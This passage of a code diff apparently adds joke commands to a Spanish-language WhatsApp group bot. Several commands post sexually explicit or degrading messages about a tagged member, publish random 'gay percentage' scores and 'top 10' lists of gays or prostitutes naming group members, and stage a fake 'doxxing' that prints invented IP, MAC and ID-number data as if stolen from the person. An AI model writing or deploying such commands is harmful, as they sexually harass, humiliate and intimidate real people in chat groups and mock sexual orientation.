+conn.reply(m.chat, `🤤👅🥵 *𝐀𝐂𝐀𝐁𝐀𝐒 𝐃𝐄 𝐅𝐎𝐋𝐋𝐀𝐑𝐓𝐄𝐋@!*🥵👅🤤\n\n*𝙏𝙚 𝙖𝙘𝙖𝙗𝙖𝙨 𝙙𝙚 𝙛𝙤𝙡𝙡𝙖𝙧 𝙖 𝙡𝙖 𝙥𝙚𝙧𝙧𝙖 𝙙𝙚* *${text}* *𝙖 𝟰 𝙥𝙖𝙩𝙖𝙨 𝙢𝙞𝙚𝙣𝙩𝙧𝙖𝙨 𝙩𝙚 𝙜𝙚𝙢𝙞𝙖 𝙘𝙤𝙢𝙤 𝙪𝙣𝙖 𝙢𝙖𝙡𝙙𝙞𝙩𝙖 𝙥𝙚𝙧𝙧𝙖 "𝐀𝐚𝐚𝐡.., 𝐀𝐚𝐚𝐡𝐡, 𝐬𝐢𝐠𝐮𝐞, 𝐧𝐨 𝐩𝐚𝐫𝐞𝐬, 𝐧𝐨 𝐩𝐚𝐫𝐞𝐬.." 𝙮 𝙡𝙖 𝙝𝙖𝙨 𝙙𝙚𝙟𝙖𝙙𝙤 𝙩𝙖𝙣 𝙧𝙚𝙫𝙚𝙣𝙩𝙖𝙙𝙖 𝙦𝙪𝙚 𝙣𝙤 𝙥𝙪𝙚𝙙𝙚 𝙨𝙤𝙨𝙩𝙚𝙣𝙚𝙧 𝙣𝙞 𝙨𝙪 𝙥𝙧𝙤𝙥𝙞𝙤 𝙘𝙪𝙚𝙧𝙥𝙤 𝙡𝙖 𝙢𝙖𝙡𝙙𝙞𝙩𝙖 𝙯𝙤𝙧𝙧𝙖!*\n\n*${text}*\n🤤🥵 *¡𝐘𝐀 𝐓𝐄 𝐇𝐀𝐍 𝐅𝐎𝐋𝐋𝐀𝐃𝐎!* 🥵🤤`, { mentions: [user] })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'formarpareja' || command == 'formarparejas') {
+m.reply(`*${toM(a)}, 𝙔𝙖 𝙚𝙨 𝙝𝙤𝙧𝙖 𝙙𝙚 𝙦𝙪𝙚 𝙩𝙚 💍 𝘾𝙖𝙨𝙚𝙨 𝙘𝙤𝙣 ${toM(b)}, 𝙇𝙞𝙣𝙙𝙖 𝙋𝙖𝙧𝙚𝙟𝙖 😉💓*`, null, {
+mentions: [a, b]})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'personalidad') {
+if (!text) return conn.reply(m.chat, 'Ingrese un nombre?', m)
+let personalidad = `┏━━°❀❬ *PERSONALIDAD}* ❭❀°━━┓
+*┃*
+*┃• Nombre* : ${text}
+*┃• Buena Moral* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
+*┃• Mala Moral* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
+*┃• Tipo de persona* : ${pickRandom(['De buen corazón','Arrogante','Tacaño','Generoso','Humilde','Tímido','Cobarde','Entrometido','Cristal','No binarie XD', 'Pendejo'])}
+*┃• Siempre* : ${pickRandom(['Pesado','De malas','Distraido','De molestoso','Chismoso','Pasa jalandosela','De compras','Viendo anime','Chatea en WhatsApp porque esta soltero','Acostado bueno para nada','De mujeriego','En el celular'])}
+*┃• Inteligencia* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
+*┃• Morosidad* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
+*┃• Coraje* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
+*┃• Miedo* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
+*┃• Fama* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
+*┃• Género* : ${pickRandom(['Hombre', 'Mujer', 'Homosexual', 'Bisexual', 'Pansexual', 'Feminista', 'Heterosexual', 'Macho alfa', 'Mujerzona', 'Marimacha', 'Palosexual', 'PlayStationSexual', 'Sr. Manuela', 'Pollosexual'])}
+┗━━━━━━━━━━━━━━━━`
+conn.reply(m.chat, personalidad, m, { mentions: conn.parseMention(personalidad) })
+}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'ship' || command == 'shippear') {
+if (!text) return m.reply(`⚠️ 𝐄𝐬𝐜𝐫𝐢𝐛𝐚 𝐞𝐥 𝐧𝐨𝐦𝐛𝐫𝐞 𝐝𝐞 𝐝𝐨𝐬 𝐩𝐞𝐫𝐬𝐨𝐧𝐚𝐬 𝐩𝐚𝐫𝐚 𝐜𝐚𝐥𝐜𝐮𝐥𝐚𝐫 𝐬𝐮𝐬 𝐚𝐦𝐨𝐫`)
+let [text1, ...text2] = text.split(' ')
+text2 = (text2 || []).join(' ')
+if (!text2) throw `⚠️ 𝐅𝐚𝐥𝐭𝐚 𝐞𝐥 𝐧𝐨𝐦𝐛𝐫𝐞 𝐝𝐞 𝐥𝐚 𝐬𝐞𝐠𝐮𝐧𝐝𝐚 𝐩𝐞𝐫𝐬𝐨𝐧𝐚`
+let love = `_❤️ *${text1}* tu oportunidad de enamorarte de *${text2}* es de *${Math.floor(Math.random() * 100)}%* 👩🏻❤️👨🏻_ `.trim()
+m.reply(love, null, { mentions: conn.parseMention(love) })
+}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'Doxxeo' || command == 'doxxeo' || command == 'doxxear' || command == 'Doxxear' || command == 'doxeo' || command == 'doxear' || command == 'doxxeame' || command == 'doxeame') {
+//if (new Date - user.prue < 90000) return await conn.reply(m.chat, `🙌 HEY ALTO ESPERA UNOS MINUTOS PARA USAR OTRO COMANDO NO HAGA SPAM`, fkontak, m)
+let who
+if (m.isGroup) who = m.mentionedJid[0]
+else who = m.chat
+let start = `*😱 ¡¡𝙀𝙢𝙥𝙚𝙯𝙖𝙣𝙙𝙤 𝙙𝙤𝙭𝙭𝙚𝙤!! 😱*`
+let ala = `😨`
+let boost = `*${pickRandom(['0','1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20'])}%*`
+let boost2 = `*${pickRandom(['21','22','23','24','25','26','27','28','29','30','31','32','33','34','35','36','37','38','39','40'])}%*`
+let boost3 = `*${pickRandom(['41','42','43','44','45','46','47','48','49','50','51','52','53','54','55','56','57','58','59','60'])}%*`
+let boost4 = `*${pickRandom(['61','62','63','64','65','66','67','68','69','70','71','72','73','74','75','76','77','78','79','80'])}%*`
+let boost5 = `*${pickRandom(['81','82','83','84','85','86','87','88','89','90','91','92','93','94','95','96','97','98','99','100'])}%*`
+
+const { key } = await conn.sendMessage(m.chat, {text: `${start}`, mentions: conn.parseMention(text)}, {quoted: m})
+await delay(1000 * 1)
+await conn.sendMessage(m.chat, {text: `${boost2}`, edit: key})
+await delay(1000 * 1)
+await conn.sendMessage(m.chat, {text: `${boost3}`, edit: key})
+await delay(1000 * 1)
+await conn.sendMessage(m.chat, {text: `${boost4}`, edit: key})
+await delay(1000 * 1)
+await conn.sendMessage(m.chat, {text: `${boost5}`, edit: key})
+
+let old = performance.now()
+let neww = performance.now()
+let speed = `${neww - old}`
+let doxeo = `*✅ 𝐏𝐞𝐫𝐬𝐨𝐧𝐚 𝐡𝐚𝐜𝐤𝐞𝐚𝐝𝐚 𝐜𝐨𝐧 𝐞𝐱𝐢𝐭𝐨𝐬 🤣*\n\n*𝐓𝐢𝐞𝐦𝐩𝐨: ${speed} 𝐒𝐞𝐠𝐮𝐧𝐝𝐨𝐬!*
+
+*𝐑𝐞𝐬𝐮𝐥𝐭𝐚𝐝𝐨𝐬:*
+*Nombre:* ${text}
+*Ip:* 192.28.213.234
+*N:* 43 7462
+*W:* 12.4893
+*SS NUMBER:* 6979191519182016
+*IPV6:* fe80::5dcd::ef69::fb22::d9888%12
+*UPNP:* Enabled
+*DMZ:* 10.112.42.15
+*MAC:* 5A:78:3E:7E:00
+*ISP:* TORNADO SLK PRODUCTION
+*DNS:* 8.8.8.8
+*ALT DNS:* 1.1.1.1.1
+*DNS SUFFIX:* TORNADO WI-FI
+*WAN:* 100.23.10.90
+*WAN TYPE:* private nat
+*GATEWAY:* 192.168.0.1
+*SUBNET MASK:* 255.255.0.255
+*UDP OPEN PORTS:* 8080.80
+*TCP OPEN PORTS:* 443
+*ROUTER VENDEDOR:* ERICCSON
+*DEVICE VENDEDOR:* WIN32-X
+*CONNECTION TYPE:* TORNADO SLK PRODUCTION
+*ICMPHOPS:* 192.168.0.1 192.168.1.1 100.73.43.4
+host-132.12.32.167.ucom.com
+host-132.12.111.ucom.com
+36.134.67.189 216.239.78.11
+Sof02s32inf14.1e100.net
+*HTTP:* 192.168.3.1:433-->92.28.211.234:80
+*Http:* 192.168.625-->92.28.211.455:80
+*Http:* 192.168.817-->92.28.211.8:971
+*Upd:* 192.168452-->92.28.211:7265288
+*Tcp:* 192.168.682-->92.28.211:62227.7
+*Tcp:* 192.168.725-->92.28.211:67wu2
+*Tcp:* 192.168.629-->92.28.211.167:8615
+*EXTERNAL MAC:* 6U:77:89:ER:O4
+*MODEM JUMPS:* 58`
+await conn.sendMessage(m.chat, {text: doxeo, edit: key})
+}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'gay') {
+let vn = 'https://qu.ax/HfeP.mp3'
+let who
+if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.sender
+else who = m.sender
+let member = participants.map(u => u.id)
+let me = m.sender
+let jodoh = member[Math.floor(Math.random() * member.length)]
+let random = `${Math.floor(Math.random() * 100)}`
+let gay = random
+if (gay < 20 ) {gay = 'Usted es hetero 🤪🤙'} else if (gay == 21 ) {gay = 'Mas o menos 🤔'} else if (gay == 23 ) {gay = 'Mas o menos 🤔'} else if (gay == 24 ) {ga = 'Mas o menos 🤔'} else if (gay == 25 ) {gay = 'Mas o menos 🤔'} else if (gay == 26 ) {gay = 'Mas o menos 🤔'} else if (gay == 27 ) {gay = 'Mas o menos 🤔'} else if (gay == 28 ) {gay = 'Mas o menos 🤔'} else if (gay == 29 ) {gay = 'Mas o menos 🤔'} else if (gay == 30 ) {gay = 'Mas o menos 🤔'} else if (gay == 31 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 32 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 33 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 34 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 35 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 36 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 37 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 38 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 39 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 40 ) {gay = 'Tengo mi dudas 😑'} else if (gay == 41 ) {gay = 'Tengo razon? 😏'} else if (gay == 42 ) {gay = 'Tengo razon? 😏'} else if (gay == 43 ) {gay = 'Tengo razon? 😏'} else if (gay == 44 ) {gay = 'Tengo razon? 😏'} else if (gay == 45 ) {gay = 'Tengo razon? 😏'} else if (gay == 46 ) {gay = 'Tengo razon? 😏'} else if (gay == 47 ) {gay = 'Tengo razon? 😏'} else if (gay == 48 ) {gay = 'Tengo razon? 😏'} else if (gay == 49 ) {gay = 'Tengo razon? 😏'} else if (gay == 50 ) {gay = 'Eres o no? 🧐'} else if (gay > 51) {gay = 'Usted es gay 🥸'}
+//let kah = ra[Math.floor(Math.random() * ra.length)]
+ let jawab = `@${who.split("@")[0]} Es 🏳️🌈 ${random}% Gay\n\n${gay}`;
+ const avatar = await conn.profilePictureUrl(who, 'image').catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png');
+
+ const imageRes = await fetch(`https://some-random-api.com/canvas/gay?avatar=${encodeURIComponent(avatar)}`);
+ const buffer = await imageRes.buffer();
+
+ await conn.sendMessage(m.chat, {
+ image: buffer,
+ caption: jawab,
+ contextInfo: {
+ mentionedJid: [who],
+ forwardingScore: 9999999,
+ isForwarded: false
+ }
+ }, { quoted: m, ephemeralExpiration: 24 * 60 * 1000 });
+
+ await conn.sendFile(m.chat, vn, 'gay.mp3', null, m, true, {
+ type: 'audioMessage',
+ ptt: true
+ });
+ }
+
+//------------------------------------------------------------------------------------
+
+if (command == 'gay2') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *GAY*_ 🏳️🌈`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'lesbiana') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_ 🏳️🌈`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'pajero') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_ 😏💦`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'pajera') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()}*_ 😏💦`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'puto') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()},* *MÁS INFORMACIÓN A SU PRIVADO 🔥🥵 XD*_`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'puta') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()},* *MÁS INFORMACIÓN A SU PRIVADO 🔥🥵 XD*_`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'manco') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 💩*_`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'manca') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 💩*_`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'rata') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🐁 COME QUESO 🧀*_`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'prostituto') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🫦👅, QUIEN QUIERE DE SUS SERVICIOS? XD*_`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'prostituta') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+let juego = `_*${text.toUpperCase()}* *ES* *${(500).getRandom()}%* *${command.replace('how', '').toUpperCase()} 🫦👅, QUIEN QUIERE DE SUS SERVICIOS? XD*_`.trim()
+await conn.reply(m.chat, juego, m, m.mentionedJid ? { mentions: m.mentionedJid } : {})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'love') {
+if (!text) return m.reply(`🤔 𝙋𝙚𝙣𝙙𝙚𝙟𝙤 𝙚𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙖𝙡 𝙡𝙖 𝙥𝙚𝙧𝙨𝙤𝙣𝙖 𝙘𝙤𝙣 𝙚𝙡 @Tag` )
+conn.reply(m.chat, ` *❤️❤️ MEDIDOR DE AMOR ❤️❤️*
+*El amor de ${text} por ti es de* *${Math.floor(Math.random() * 100)}%* *de un 100%*
+*Deberias pedirle que sea tu novia/o ?*`.trim(), m, m.mentionedJid ? {
+ mentions: m.mentionedJid
+ } : {})}
+
+//------------------------------------------------------------------------------------
+if (command == 'top') {
+if (!text) return m.reply(`𝙔 𝙚𝙡 𝙩𝙚𝙭𝙩𝙤? 🤔\n📍 Ejemplo: ${usedPrefix}top nedro`)
+let ps = metadata.participants.map(v => v.id)
+let a = ps.getRandom()
+let b = ps.getRandom()
+let c = ps.getRandom()
+let d = ps.getRandom()
+let e = ps.getRandom()
+let f = ps.getRandom()
+let g = ps.getRandom()
+let h = ps.getRandom()
+let i = ps.getRandom()
+let j = ps.getRandom()
+let k = Math.floor(Math.random() * 70);
+let x = `${pickRandom(['🤓','😅','😂','😳','😎', '🥵', '😱', '🤑', '🙄', '💩','🍑','🤨','🥴','🔥','👇🏻','😔', '👀','🌚'])}`
+let l = Math.floor(Math.random() * x.length);
+let vn = `https://hansxd.nasihosting.com/sound/sound${k}.mp3`
+let top = `*${x} Top 10 ${text} ${x}*
+
+*1. ${user(a)}*
+*2. ${user(b)}*
+*3. ${user(c)}*
+*4. ${user(d)}*
+*5. ${user(e)}*
+*6. ${user(f)}*
+*7. ${user(g)}*
+*8. ${user(h)}*
+*9. ${user(i)}*
+*10. ${user(j)}*`
+m.reply(top, null, { mentions: [a, b, c, d, e, f, g, h, i, j]})
+conn.sendFile(m.chat, vn, 'error.mp3', null, m, true, {
+type: 'audioMessage',
+ptt: true })}
+
+//------------------------------------------------------------------------------------
+
+ if (command == 'topgays') {
+let vn = 'https://qu.ax/HfeP.mp3'
+let top = `*🌈TOP 10 GAYS/LESBIANAS DEL GRUPO🌈*
+
+*_1.- 🏳️🌈 ${user(a)}_* 🏳️🌈
+*_2.- 🪂 ${user(b)}_* 🪂
+*_3.- 🪁 ${user(c)}_* 🪁
+*_4.- 🏳️🌈 ${user(d)}_* 🏳️🌈
+*_5.- 🪂 ${user(e)}_* 🪂
+*_6.- 🪁 ${user(f)}_* 🪁
+*_7.- 🏳️🌈 ${user(g)}_* 🏳️🌈
+*_8.- 🪂 ${user(h)}_* 🪂
+*_9.- 🪁 ${user(i)}_* 🪁
+*_10.- 🏳️🌈 ${user(j)}_* 🏳️🌈`
+m.reply(top, null, { mentions: conn.parseMention(top) })
+conn.sendFile(m.chat, vn, 'error.mp3', null, m, true, {
+type: 'audioMessage',
+ptt: true })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'topotakus') {
+let vn = 'https://qu.ax/ZgFZ.mp3'
+let top = `*🌸 TOP 10 OTAKUS DEL GRUPO 🌸*
+
+*_1.- 💮 ${user(a)}_* 💮
+*_2.- 🌷 ${user(b)}_* 🌷
+*_3.- 💮 ${user(c)}_* 💮
+*_4.- 🌷 ${user(d)}_* 🌷
+*_5.- 💮 ${user(e)}_* 💮
+*_6.- 🌷 ${user(f)}_* 🌷
+*_7.- 💮 ${user(g)}_* 💮
+*_8.- 🌷 ${user(h)}_* 🌷
+*_9.- 💮 ${user(i)}_* 💮
+*_10.- 🌷 ${user(j)}_* 🌷`
+m.reply(top, null, { mentions: conn.parseMention(top) })
+conn.sendFile(m.chat, vn, 'otaku.mp3', null, m, true, {
+type: 'audioMessage',
+ptt: true
+})}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'topintegrantes' || command == 'topintegrante') {
+let top = `*_💎TOP 10 L@S MEJORES INTEGRANTES👑_*
+
+*_1.- 💎 ${user(a)}_* 💎
+*_2.- 👑 ${user(b)}_* 👑
+*_3.- 💎 ${user(c)}_* 💎
+*_4.- 👑 ${user(d)}_* 👑
+*_5.- 💎 ${user(e)}_* 💎
+*_6.- 👑 ${user(f)}_* 👑
+*_7.- 💎 ${user(g)}_* 💎
+*_8.- 👑 ${user(h)}_* 👑
+*_9.- 💎 ${user(i)}_* 💎
+*_10.- 👑 ${user(j)}_* 👑`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'toplagrasa' || command == 'topgrasa') {
+let top = `*_Uwu TOP 10 LA GRASA Uwu_*
+
+*_1.- Bv ${user(a)} Bv_*
+*_2.- :v ${user(b)} :v_*
+*_3.- :D ${user(c)} :D_*
+*_4.- Owo ${user(d)} Owo_*
+*_5.- U.u ${user(e)} U.u_*
+*_6.- >:v ${user(f)} >:v_*
+*_7.- :'v ${user(g)} :'v_*
+*_8.- ._. ${user(h)} ._._*
+*_9.- :V ${user(i)} :V_*
+*_10.- XD ${user(j)} XD_*`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'toppanafrescos' || command == 'toppanafresco') {
+let top = `*_👊TOP 10 PANAFRESCOS👊_*
+
+*_1.- 🤑 ${user(a)}_* 🤑
+*_2.- 🤙 ${user(b)}_* 🤙
+*_3.- 😎 ${user(c)}_* 😎
+*_4.- 👌 ${user(d)}_* 👌
+*_5.- 🧐 ${user(e)}_* 🧐
+*_6.- 😃 ${user(f)}_* 😃
+*_7.- 😋 ${user(g)}_* 😋
+*_8.- 🤜 ${user(h)}_* 🤜
+*_9.- 💪 ${user(i)}_* 💪
+*_10.- 😉 ${user(j)}_* 😉`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'topshiposters' || command == 'topshipost') {
+let top = `*_😱TOP 10 SHIPOSTERS DEL GRUPO😱_*
+
+*_1.- 😈 ${user(a)}_* 😈
+*_2.- 🤙 ${user(b)}_* 🤙
+*_3.- 🥶 ${user(c)}_* 🥶
+*_4.- 🤑 ${user(d)}_* 🤑
+*_5.- 🥵 ${user(e)}_* 🥵
+*_6.- 🤝 ${user(f)}_* 🤝
+*_7.- 😟 ${user(g)}_* 😟
+*_8.- 😨 ${user(h)}_* 😨
+*_9.- 😇 ${user(i)}_* 😇
+*_10.- 🤠 ${user(j)}_* 🤠`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'toppajer@s') {
+let top = `*_😏TOP L@S MAS PAJEROS/AS DEL GRUPO💦_*
+
+*_1.- 🥵 ${user(a)}_* 💦
+*_2.- 🥵 ${user(b)}_* 💦
+*_3.- 🥵 ${user(c)}_* 💦
+*_4.- 🥵 ${user(d)}_* 💦
+*_5.- 🥵 ${user(e)}_* 💦
+*_6.- 🥵 ${user(f)}_* 💦
+*_7.- 🥵 ${user(g)}_* 💦
+*_8.- 🥵 ${user(h)}_* 💦
+*_9.- 🥵 ${user(i)}_* 💦
+*_10.- 🥵 ${user(j)}_* 💦`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'toplind@s' || command == 'toplindos') {
+let top = `*_😳TOP L@S MAS LIND@S Y SEXIS DEL GRUPO😳_*
+
+*_1.- ✨ ${user(a)}_* ✨
+*_2.- ✨ ${user(b)}_* ✨
+*_3.- ✨ ${user(c)}_* ✨
+*_4.- ✨ ${user(d)}_* ✨
+*_5.- ✨ ${user(e)}_* ✨
+*_6.- ✨ ${user(f)}_* ✨
+*_7.- ✨ ${user(g)}_* ✨
+*_8.- ✨ ${user(h)}_* ✨
+*_9.- ✨ ${user(i)}_* ✨
+*_10.- ✨ ${user(j)}_* ✨`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'topput@s') {
+let top = `*_😏TOP L@S MAS PUT@S DEL GRUPO SON🔥_*
+
+*_1.- 👉 ${user(a)}_* 👌
+*_2.- 👉 ${user(b)}_* 👌
+*_3.- 👉 ${user(c)}_* 👌
+*_4.- 👉 ${user(d)}_* 👌
+*_5.- 👉 ${user(e)}_* 👌
+*_6.- 👉 ${user(f)}_* 👌
+*_7.- 👉 ${user(g)}_* 👌
+*_8.- 👉 ${user(h)}_* 👌
+*_9.- 👉 ${user(i)}_* 👌
+*_10.- 👉 ${user(j)}_* 👌`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'topfamosos' || command == 'topfamos@s') {
+let top = `*_🌟TOP PERSONAS FAMOSAS EN EL GRUPO🌟_*
+
+*_1.- 🛫 ${user(a)}_* 🛫
+*_2.- 🥂 ${user(b)}_* 🥂
+*_3.- 🤩 ${user(c)}_* 🤩
+*_4.- 🛫 ${user(d)}_* 🛫
+*_5.- 🥂 ${user(e)}_* 🥂
+*_6.- 🤩 ${user(f)}_* 🤩
+*_7.- 🛫 ${user(g)}_* 🛫
+*_8.- 🥂 ${user(h)}_* 🥂
+*_9.- 🤩 ${user(i)}_* 🤩
+*_10.- 🛫 ${user(j)}_* 🛫`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+
+//------------------------------------------------------------------------------------
+
+if (command == 'topparejas' || command == 'top5parejas') {
+let top = `*_😍 Las 5 maravillosas parejas del grupo 😍_*
+
+*_1.- ${user(a)} 💘 ${user(b)}_*
+Que hermosa pareja 💖, me invitan a su Boda 🛐
+
+*_2.- ${user(c)} 💘 ${user(d)}_*
+🌹 Ustedes se merecen lo mejor del mundo 💞
+
+*_3.- ${user(e)} 💘 ${user(f)}_*
+Tan enamorados 😍, para cuando la familia 🥰
+
+*_4.- ${user(g)} 💘 ${user(h)}_*
+💗 Decreto que ustedes son la pareja del Año 💗
+
